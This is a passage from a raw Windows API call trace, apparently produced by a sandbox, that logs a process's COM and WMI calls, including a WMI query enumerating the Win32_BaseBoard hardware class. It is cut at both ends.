pAuthnSvc=0x26e730, pAuthzSvc=0x26e734, pServerPrincName=0x0, pAuthnLevel=0x26e760, pImpLevel=0x26e764, pAuthInfo=0x0, pCapabilites=0x26e748 | out: pAuthnSvc=0x26e730*=0xa, pAuthzSvc=0x26e734*=0x0, pServerPrincName=0x0, pAuthnLevel=0x26e760*=0x6, pImpLevel=0x26e764*=0x3, pAuthInfo=0x0, pCapabilites=0x26e748*=0x20) returned 0x0 [0041.203] WbemLocator:IUnknown:Release (This=0x7b3834) returned 0x2 [0041.204] CreatePointerMoniker (in: punk=0x4f9c898, ppmk=0x26e8f0 | out: ppmk=0x26e8f0*=0x7b2bf0) returned 0x0 [0041.204] IUnknown:AddRef (This=0x4f9c898) returned 0x2 [0041.204] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0041.204] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0041.204] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0041.204] WbemLocator:IUnknown:Release (This=0x4f908e8) returned 0x0 [0041.204] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0041.204] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0041.204] WinMGMTS:IUnknown:Release (This=0x4f90850) returned 0x0 [0041.204] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0041.206] IUnknown:QueryInterface (in: This=0x7b2bf0, riid=0x74147714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e1e4 | out: ppvObject=0x26e1e4*=0x7b2bf0) returned 0x0 [0041.207] IUnknown:QueryInterface (in: This=0x7b2bf0, riid=0x74164204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x26e1a0 | out: ppvObject=0x26e1a0*=0x0) returned 0x80004002 [0041.207] IUnknown:QueryInterface (in: This=0x7b2bf0, riid=0x74090b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x26e094 | out: ppvObject=0x26e094*=0x0) returned 0x80004002 [0041.208] IUnknown:AddRef (This=0x7b2bf0) returned 0x3 [0041.208] CoGetContextToken (in: pToken=0x26e02c | out: pToken=0x26e02c) returned 0x0 [0041.208] CoGetContextToken (in: pToken=0x26dff0 | out: pToken=0x26dff0) returned 0x0 [0041.208] IUnknown:QueryInterface (in: This=0x779458, riid=0x74163ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e024 | out: ppvObject=0x26e024*=0x779464) returned 0x0 [0041.208] IComThreadingInfo:GetCurrentApartmentType (in: This=0x779464, pAptType=0x26e054 | out: pAptType=0x26e054*=3) returned 0x0 [0041.208] IUnknown:Release (This=0x779464) returned 0x1 [0041.208] IUnknown:QueryInterface (in: This=0x7b2bf0, riid=0x740423cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e014 | out: ppvObject=0x26e014*=0x7b2c04) returned 0x0 [0041.208] IMarshal:GetUnmarshalClass (in: This=0x7b2c04, riid=0x74147714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x26e01c | out: pCid=0x26e01c*(Data1=0x306, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0041.208] IUnknown:Release (This=0x7b2c04) returned 0x3 [0041.209] CoGetContextToken (in: pToken=0x26e024 | out: pToken=0x26e024) returned 0x0 [0041.209] IUnknown:AddRef (This=0x7b2bf0) returned 0x4 [0041.209] IUnknown:QueryInterface (in: This=0x7b2bf0, riid=0x7409767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e098 | out: ppvObject=0x26e098*=0x0) returned 0x80004002 [0041.209] IUnknown:Release (This=0x7b2bf0) returned 0x3 [0041.209] IUnknown:Release (This=0x7b2bf0) returned 0x2 [0041.209] CoGetContextToken (in: pToken=0x26e498 | out: pToken=0x26e498) returned 0x0 [0041.209] CoGetContextToken (in: pToken=0x26e458 | out: pToken=0x26e458) returned 0x0 [0041.209] IUnknown:AddRef (This=0x7b2bf0) returned 0x3 [0041.209] IUnknown:QueryInterface (in: This=0x7b2bf0, riid=0x26e4d4*(Data1=0xf, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e4d0 | out: ppvObject=0x26e4d0*=0x7b2bf0) returned 0x0 [0041.209] IUnknown:Release (This=0x7b2bf0) returned 0x3 [0041.209] IUnknown:Release (This=0x7b2bf0) returned 0x2 [0041.210] IUnknown:Release (This=0x7b2bf0) returned 0x1 [0041.210] IUnknown:Release (This=0x78e358) returned 0x2 [0041.211] CoGetContextToken (in: pToken=0x26e524 | out: pToken=0x26e524) returned 0x0 [0041.211] CoGetContextToken (in: pToken=0x26e4e4 | out: pToken=0x26e4e4) returned 0x0 [0041.211] IUnknown:AddRef (This=0x7b2bf0) returned 0x2 [0041.211] IUnknown:QueryInterface (in: This=0x7b2bf0, riid=0x26e560*(Data1=0xf, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e55c | out: ppvObject=0x26e55c*=0x7b2bf0) returned 0x0 [0041.211] IUnknown:Release (This=0x7b2bf0) returned 0x2 [0041.211] IUnknown:AddRef (This=0x7b2bf0) returned 0x3 [0041.211] BindMoniker (in: pmk=0x7b2bf0, grfOpt=0x0, iidResult=0x2608748*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvResult=0x26e934 | out: ppvResult=0x26e934*=0x4f9c898) returned 0x0 [0041.211] IUnknown:QueryInterface (in: This=0x4f9c898, riid=0x2608748*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e934 | out: ppvObject=0x26e934*=0x4f9c898) returned 0x0 [0041.214] LoadRegTypeLib (in: rguid=0x748e364c*(Data1=0x565783c6, Data2=0xcb41, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x2, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), wVerMajor=0x1, wVerMinor=0x0, lcid=0x0, pptlib=0x26e05c*=0x0 | out: pptlib=0x26e05c*=0x7b6c98) returned 0x0 [0041.357] ITypeLib:GetTypeInfoOfGuid (in: This=0x7b6c98, GUID=0x4f9c8dc, ppTInfo=0x4f9c8c4 | out: ppTInfo=0x4f9c8c4*=0x7b87ec) returned 0x0 [0041.357] IUnknown:Release (This=0x7b6c98) returned 0x1 [0041.357] IUnknown:AddRef (This=0x7b87ec) returned 0x2 [0041.357] ITypeInfo:RemoteGetTypeAttr (in: This=0x7b87ec, ppTypeAttr=0x26e0a0, pDummy=0x7e2ac11c | out: ppTypeAttr=0x26e0a0, pDummy=0x7e2ac11c) returned 0x0 [0041.363] ITypeInfo:LocalReleaseTypeAttr (This=0x7b87ec) returned 0x7b0af8 [0041.363] IUnknown:Release (This=0x7b87ec) returned 0x1 [0041.363] CoGetContextToken (in: pToken=0x26e02c | out: pToken=0x26e02c) returned 0x0 [0041.363] CoGetContextToken (in: pToken=0x26dff0 | out: pToken=0x26dff0) returned 0x0 [0041.363] IUnknown:QueryInterface (in: This=0x779458, riid=0x74163ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e024 | out: ppvObject=0x26e024*=0x779464) returned 0x0 [0041.363] IComThreadingInfo:GetCurrentApartmentType (in: This=0x779464, pAptType=0x26e054 | out: pAptType=0x26e054*=3) returned 0x0 [0041.364] IUnknown:Release (This=0x779464) returned 0x1 [0041.364] CoGetContextToken (in: pToken=0x26e024 | out: pToken=0x26e024) returned 0x0 [0041.364] IUnknown:Release (This=0x7b2bf0) returned 0x2 [0041.377] CoGetContextToken (in: pToken=0x26e568 | out: pToken=0x26e568) returned 0x0 [0041.377] LoadRegTypeLib (in: rguid=0x748e364c*(Data1=0x565783c6, Data2=0xcb41, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x2, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), wVerMajor=0x1, wVerMinor=0x0, lcid=0x409, pptlib=0x26e564*=0x0 | out: pptlib=0x26e564*=0x7b6c98) returned 0x0 [0041.378] ITypeLib:GetTypeInfoOfGuid (in: This=0x7b6c98, GUID=0x4f9c8cc, ppTInfo=0x4f9c8c0 | out: ppTInfo=0x4f9c8c0*=0x7b8818) returned 0x0 [0041.378] IUnknown:Release (This=0x7b6c98) returned 0x2 [0041.378] IUnknown:AddRef (This=0x7b8818) returned 0x2 [0041.378] DispGetIDsOfNames (in: ptinfo=0x7b8818, rgszNames=0x26e5c0*="InstancesOf", cNames=0x1, rgdispid=0x26e5b0 | out: rgdispid=0x26e5b0*=5) returned 0x0 [0041.380] IUnknown:Release (This=0x7b8818) returned 0x1 [0041.381] IUnknown:AddRef (This=0x7b8818) returned 0x2 [0041.381] ITypeInfo:LocalInvoke (This=0x7b8818) returned 0x0 [0041.381] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0041.381] GetCurrentThreadId () returned 0xb1c [0041.381] WbemLocator:IUnknown:AddRef (This=0x4f9d304) returned 0x3 [0041.381] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0041.381] GetCurrentThreadId () returned 0xb1c [0041.381] IWbemServices:CreateInstanceEnum (in: This=0x4f9d304, strFilter="Win32_BaseBoard", lFlags=16, pCtx=0x0, ppEnum=0x26e20c | out: ppEnum=0x26e20c*=0x4f908dc) returned 0x0 [0041.413] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4f90918 [0041.413] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4f90978 [0041.413] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4f9d378 [0041.413] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4f9c9a8 [0041.413] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4f9d3d8 [0041.413] IUnknown:QueryInterface (in: This=0x4f908dc, riid=0x748e31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e124 | out: ppvObject=0x26e124*=0x4f908e0) returned 0x0 [0041.413] IClientSecurity:QueryBlanket (in: This=0x4f908e0, pProxy=0x4f908dc, pAuthnSvc=0x26e114, pAuthzSvc=0x26e118, pServerPrincName=0x0, pAuthnLevel=0x26e140, pImpLevel=0x26e13c, pAuthInfo=0x0, pCapabilites=0x26e12c | out: pAuthnSvc=0x26e114*=0xa, pAuthzSvc=0x26e118*=0x0, pServerPrincName=0x0, pAuthnLevel=0x26e140*=0x6, pImpLevel=0x26e13c*=0x2, pAuthInfo=0x0, pCapabilites=0x26e12c*=0x1) returned 0x0 [0041.413] IUnknown:Release (This=0x4f908e0) returned 0x1 [0041.413] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0041.413] GetCurrentThreadId () returned 0xb1c [0041.413] WbemLocator:IUnknown:QueryInterface (in: This=0x4f9d304, riid=0x748e31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e108 | out: ppvObject=0x26e108*=0x7b3834) returned 0x0 [0041.413] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x7b3834, pProxy=0x4f9d304, pAuthnSvc=0x26e0f8, pAuthzSvc=0x26e0fc, pServerPrincName=0x0, pAuthnLevel=0x26e128, pImpLevel=0x26e12c, pAuthInfo=0x0, pCapabilites=0x26e110 | out: pAuthnSvc=0x26e0f8*=0xa, pAuthzSvc=0x26e0fc*=0x0, pServerPrincName=0x0, pAuthnLevel=0x26e128*=0x6, pImpLevel=0x26e12c*=0x3, pAuthInfo=0x0, pCapabilites=0x26e110*=0x20) returned 0x0 [0041.413] WbemLocator:IUnknown:Release (This=0x7b3834) returned 0x3 [0041.413] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0041.413] GetCurrentThreadId () returned 0xb1c [0041.413] WbemLocator:IUnknown:QueryInterface (in: This=0x4f9d304, riid=0x748e31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e108 | out: ppvObject=0x26e108*=0x7b3834) returned 0x0 [0041.413] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x7b3834, pProxy=0x4f9d304, pAuthnSvc=0x26e0f8, pAuthzSvc=0x26e0fc, pServerPrincName=0x0, pAuthnLevel=0x26e12c, pImpLevel=0x26e128, pAuthInfo=0x0, pCapabilites=0x26e110 | out: pAuthnSvc=0x26e0f8*=0xa, pAuthzSvc=0x26e0fc*=0x0, pServerPrincName=0x0, pAuthnLevel=0x26e12c*=0x6, pImpLevel=0x26e128*=0x3, pAuthInfo=0x0, pCapabilites=0x26e110*=0x20) returned 0x0 [0041.413] WbemLocator:IUnknown:Release (This=0x7b3834) returned 0x3 [0041.414] IUnknown:QueryInterface (in: This=0x4f908dc, riid=0x748e31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e154 | out: ppvObject=0x26e154*=0x4f908e0) returned 0x0 [0041.414] IClientSecurity:CopyProxy (in: This=0x4f908e0, pProxy=0x4f908dc, ppCopy=0x26e158 | out: ppCopy=0x26e158*=0x4f9d51c) returned 0x0 [0041.414] IUnknown:QueryInterface (in: This=0x4f9d51c, riid=0x748e31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e070 | out: ppvObject=0x26e070*=0x4f9d520) returned 0x0 [0041.414] IClientSecurity:QueryBlanket (in: This=0x4f9d520, pProxy=0x4f9d51c, pAuthnSvc=0x26e094, pAuthzSvc=0x26e084, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0 | out: pAuthnSvc=0x26e094*=0xa, pAuthzSvc=0x26e084*=0x0, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0) returned 0x0 [0041.414] IUnknown:Release (This=0x4f9d520) returned 0x3 [0041.414] IUnknown:QueryInterface (in: This=0x4f9d51c, riid=0x748e34f0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e048 | out: ppvObject=0x26e048*=0x7b6c14) returned 0x0 [0041.414] IUnknown:QueryInterface (in: This=0x4f9d51c, riid=0x748e31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e04c | out: ppvObject=0x26e04c*=0x4f9d520) returned 0x0 [0041.414] IClientSecurity:SetBlanket (This=0x4f9d520, pProxy=0x4f9d51c, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0041.476] IUnknown:Release (This=0x4f9d520) returned 0x4 [0041.476] WbemLocator:IUnknown:Release (This=0x7b6c14) returned 0x3 [0041.476] IUnknown:Release (This=0x4f908e0) returned 0x2 [0041.476] IUnknown:AddRef (This=0x4f9d51c) returned 0x3 [0041.476] IUnknown:Release (This=0x4f908dc) returned 0x2 [0041.476] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x26e1c4 | out: pperrinfo=0x26e1c4*=0x0) returned 0x1 [0041.476] WbemLocator:IUnknown:Release (This=0x4f9d304) returned 0x2 [0041.476] IUnknown:Release (This=0x7b8818) returned 0x1 [0041.478] LoadRegTypeLib (in: rguid=0x748e364c*(Data1=0x565783c6, Data2=0xcb41, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x2, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), wVerMajor=0x1, wVerMinor=0x0, lcid=0x0, pptlib=0x26de60*=0x0 | out: pptlib=0x26de60*=0x7b6c98) returned 0x0 [0041.479] ITypeLib:GetTypeInfoOfGuid (in: This=0x7b6c98, GUID=0x4f90950, ppTInfo=0x4f90938 | out: ppTInfo=0x4f90938*=0x7b8920) returned 0x0 [0041.479] IUnknown:Release (This=0x7b6c98) returned 0x3 [0041.479] IUnknown:AddRef (This=0x7b8920) returned 0x2 [0041.479] ITypeInfo:RemoteGetTypeAttr (in: This=0x7b8920, ppTypeAttr=0x26dea4, pDummy=0x7e2aff18 | out: ppTypeAttr=0x26dea4, pDummy=0x7e2aff18) returned 0x0 [0041.480] ITypeInfo:LocalReleaseTypeAttr (This=0x7b8920) returned 0x7b0af8 [0041.480] IUnknown:Release (This=0x7b8920) returned 0x1 [0041.480] CoGetContextToken (in: pToken=0x26de30 | out: pToken=0x26de30) returned 0x0 [0041.480] CoGetContextToken (in: pToken=0x26ddf4 | out: pToken=0x26ddf4) returned 0x0 [0041.480] IUnknown:QueryInterface (in: This=0x779458, riid=0x74163ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26de28 | out: ppvObject=0x26de28*=0x779464) returned 0x0 [0041.480] IComThreadingInfo:GetCurrentApartmentType (in: This=0x779464, pAptType=0x26de58 | out: pAptType=0x26de58*=3) returned 0x0 [0041.480] IUnknown:Release (This=0x779464) returned 0x1 [0041.480] CoGetContextToken (in: pToken=0x26de28 | out: pToken=0x26de28) returned 0x0 [0041.481] CoGetContextToken (in: pToken=0x26e7ec | out: pToken=0x26e7ec) returned 0x0 [0041.481] CoGetContextToken (in: pToken=0x26e7ac | out: pToken=0x26e7ac) returned 0x0 [0041.482] CoGetContextToken (in: pToken=0x26e834 | out: pToken=0x26e834) returned 0x0 [0041.482] LoadRegTypeLib (in: rguid=0x748e364c*(Data1=0x565783c6, Data2=0xcb41, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x2, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), wVerMajor=0x1, wVerMinor=0x0, lcid=0x400, pptlib=0x26e834*=0x0 | out: pptlib=0x26e834*=0x7b6c98) returned 0x0 [0041.483] ITypeLib:GetTypeInfoOfGuid (in: This=0x7b6c98, GUID=0x4f90940, ppTInfo=0x4f90934 | out: ppTInfo=0x4f90934*=0x7b88c8) returned 0x0 [0041.483] IUnknown:Release (This=0x7b6c98) returned 0x4 [0041.483] IUnknown:AddRef (This=0x7b88c8) returned 0x2 [0041.483] ITypeInfo:LocalInvoke (This=0x7b88c8) returned 0x0 [0041.483] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0041.483] GetCurrentThreadId () returned 0xb1c [0041.483] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4f90810 [0041.483] IUnknown:Release (This=0x7b88c8) returned 0x1 [0041.484] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0041.821] LocalAlloc (uFlags=0x0, uBytes=0x80) returned 0x7a34b0 [0041.822] GetLastError () returned 0x0 [0041.823] GetLastError () returned 0x0 [0041.831] CoGetContextToken (in: pToken=0x26e6f4 | out: pToken=0x26e6f4) returned 0x0 [0041.840] CoGetContextToken (in: pToken=0x26e318 | out: pToken=0x26e318) returned 0x0 [0041.840] IUnknown:AddRef (This=0x7b88c8) returned 0x2 [0041.840] ITypeInfo:LocalInvoke (This=0x7b88c8) returned 0x0 [0041.840] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0041.840] GetCurrentThreadId () returned 0xb1c [0041.840] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0041.840] GetCurrentThreadId () returned 0xb1c [0041.840] IUnknown:AddRef (This=0x4f9d51c) returned 0x3 [0041.841] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0041.841] GetCurrentThreadId () returned 0xb1c [0041.841] IEnumWbemClassObject:Clone (in: This=0x4f9d51c, ppEnum=0x26e308 | out: ppEnum=0x26e308*=0x4f9d5e4) returned 0x0 [0041.843] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4f9d620 [0041.843] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4f9d680 [0041.843] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4f9d6e0 [0041.843] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4f9c988 [0041.843] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4f9d740 [0041.843] IUnknown:QueryInterface (in: This=0x4f9d5e4, riid=0x748e31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e220 | out: ppvObject=0x26e220*=0x4f9d5e8) returned 0x0 [0041.843] IClientSecurity:QueryBlanket (in: This=0x4f9d5e8, pProxy=0x4f9d5e4, pAuthnSvc=0x26e210, pAuthzSvc=0x26e214, pServerPrincName=0x0, pAuthnLevel=0x26e23c, pImpLevel=0x26e238, pAuthInfo=0x0, pCapabilites=0x26e228 | out: pAuthnSvc=0x26e210*=0xa, pAuthzSvc=0x26e214*=0x0, pServerPrincName=0x0, pAuthnLevel=0x26e23c*=0x6, pImpLevel=0x26e238*=0x2, pAuthInfo=0x0, pCapabilites=0x26e228*=0x1) returned 0x0 [0041.843] IUnknown:Release (This=0x4f9d5e8) returned 0x1 [0041.844] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0041.844] GetCurrentThreadId () returned 0xb1c [0041.844] IUnknown:QueryInterface (in: This=0x4f9d51c, riid=0x748e31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e204 | out: ppvObject=0x26e204*=0x4f9d520) returned 0x0 [0041.844] IClientSecurity:QueryBlanket (in: This=0x4f9d520, pProxy=0x4f9d51c, pAuthnSvc=0x26e1f4, pAuthzSvc=0x26e1f8, pServerPrincName=0x0, pAuthnLevel=0x26e224, pImpLevel=0x26e228, pAuthInfo=0x0, pCapabilites=0x26e20c | out: pAuthnSvc=0x26e1f4*=0xa, pAuthzSvc=0x26e1f8*=0x0, pServerPrincName=0x0, pAuthnLevel=0x26e224*=0x6, pImpLevel=0x26e228*=0x3, pAuthInfo=0x0, pCapabilites=0x26e20c*=0x20) returned 0x0 [0041.844] IUnknown:Release (This=0x4f9d520) returned 0x3 [0041.844] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0041.844] GetCurrentThreadId () returned 0xb1c [0041.844] IUnknown:QueryInterface (in: This=0x4f9d51c, riid=0x748e31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e204 | out: ppvObject=0x26e204*=0x4f9d520) returned 0x0 [0041.844] IClientSecurity:QueryBlanket (in: This=0x4f9d520, pProxy=0x4f9d51c, pAuthnSvc=0x26e1f4, pAuthzSvc=0x26e1f8, pServerPrincName=0x0, pAuthnLevel=0x26e228, pImpLevel=0x26e224, pAuthInfo=0x0, pCapabilites=0x26e20c | out: pAuthnSvc=0x26e1f4*=0xa, pAuthzSvc=0x26e1f8*=0x0, pServerPrincName=0x0, pAuthnLevel=0x26e228*=0x6, pImpLevel=0x26e224*=0x3, pAuthInfo=0x0, pCapabilites=0x26e20c*=0x20) returned 0x0 [0041.844] IUnknown:Release (This=0x4f9d520) returned 0x3 [0041.844] IUnknown:QueryInterface (in: This=0x4f9d5e4, riid=0x748e31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e250 | out: ppvObject=0x26e250*=0x4f9d5e8) returned 0x0 [0041.844] IClientSecurity:CopyProxy (in: This=0x4f9d5e8, pProxy=0x4f9d5e4, ppCopy=0x26e254 | out: ppCopy=0x26e254*=0x4f9d884) returned 0x0 [0041.844] IUnknown:QueryInterface (in: This=0x4f9d884, riid=0x748e31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e16c | out: ppvObject=0x26e16c*=0x4f9d888) returned 0x0 [0041.844] IClientSecurity:QueryBlanket (in: This=0x4f9d888, pProxy=0x4f9d884, pAuthnSvc=0x26e190, pAuthzSvc=0x26e180, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0 | out: pAuthnSvc=0x26e190*=0xa, pAuthzSvc=0x26e180*=0x0, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0) returned 0x0 [0041.844] IUnknown:Release (This=0x4f9d888) returned 0x3 [0041.844] IUnknown:QueryInterface (in: This=0x4f9d884, riid=0x748e34f0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e144 | out: ppvObject=0x26e144*=0x7c3e7c) returned 0x0 [0041.844] IUnknown:QueryInterface (in: This=0x4f9d884, riid=0x748e31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e148 | out: ppvObject=0x26e148*=0x4f9d888) returned 0x0 [0041.844] IClientSecurity:SetBlanket (This=0x4f9d888, pProxy=0x4f9d884, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0041.846] IUnknown:Release (This=0x4f9d888) returned 0x4 [0041.846] WbemLocator:IUnknown:Release (This=0x7c3e7c) returned 0x3 [0041.846] IUnknown:Release (This=0x4f9d5e8) returned 0x2 [0041.846] IUnknown:AddRef (This=0x4f9d884) returned 0x3 [0041.846] IUnknown:Release (This=0x4f9d5e4) returned 0x2 [0041.846] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x26e2c0 | out: pperrinfo=0x26e2c0*=0x0) returned 0x1 [0041.846] IUnknown:Release (This=0x4f9d51c) returned 0x2 [0041.846] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0041.846] GetCurrentThreadId () returned 0xb1c [0041.846] IUnknown:AddRef (This=0x4f9d884) returned 0x3 [0041.846] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0041.846] GetCurrentThreadId () returned 